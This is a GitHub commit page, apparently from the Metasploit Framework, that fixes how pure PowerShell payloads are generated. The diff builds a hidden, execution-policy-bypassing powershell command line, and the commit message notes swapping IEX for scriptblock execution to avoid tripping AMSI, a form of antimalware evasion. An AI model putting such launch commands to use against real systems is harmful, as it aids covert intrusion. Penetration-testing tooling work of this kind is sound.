Skip to content

Commit 9afdde2

Browse files
author
RageLtMan
committed
Address generation issues with pure PSH payloads
Powershell payloads were generating using the :generate method mixed in from Payload::Windows::Exec which is a binary payload mixin. Address the breakage by implementing a generate method which simply outputs the script code produced by the module with no additional content prepended or appended. While here, cleanup the commandline generation for the script being produced by having Rex do it (this permits changes made in Rex to benefit all consumers). As a bonus, drop the IEX invocation since it'll trip up AMSI and upgrade to the scripblock execution semantic. Credit for finding this little gem goes to bperry - i dont usually use the native powershell command shells, and managed to miss this for a long time. Thanks boss. Testing: Local in pry @bperry: Could you test and ping me back if this is right?
1 parent c701a53 commit 9afdde2

File tree

1 file changed

+12
-1
lines changed

1 file changed

+12
-1
lines changed

lib/msf/core/payload/windows/powershell.rb

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,18 @@ def generate_powershell_code(conntype)
4444
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
4545

4646
script = Rex::Powershell::Command.compress_script(script_in)
47-
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
47+
command_args = {
48+
noprofile: true,
49+
windowstyle: 'hidden',
50+
noninteractive: true,
51+
executionpolicy: 'bypass'
52+
}
53+
cli = Rex::Powershell::Command.generate_psh_command_line(command_args)
54+
return "#{cli} '&([scriptblock]::create(#{script})'"
55+
end
56+
57+
def generate
58+
command_string
4859
end
4960
end
5061
end

0 commit comments

Comments
 (0)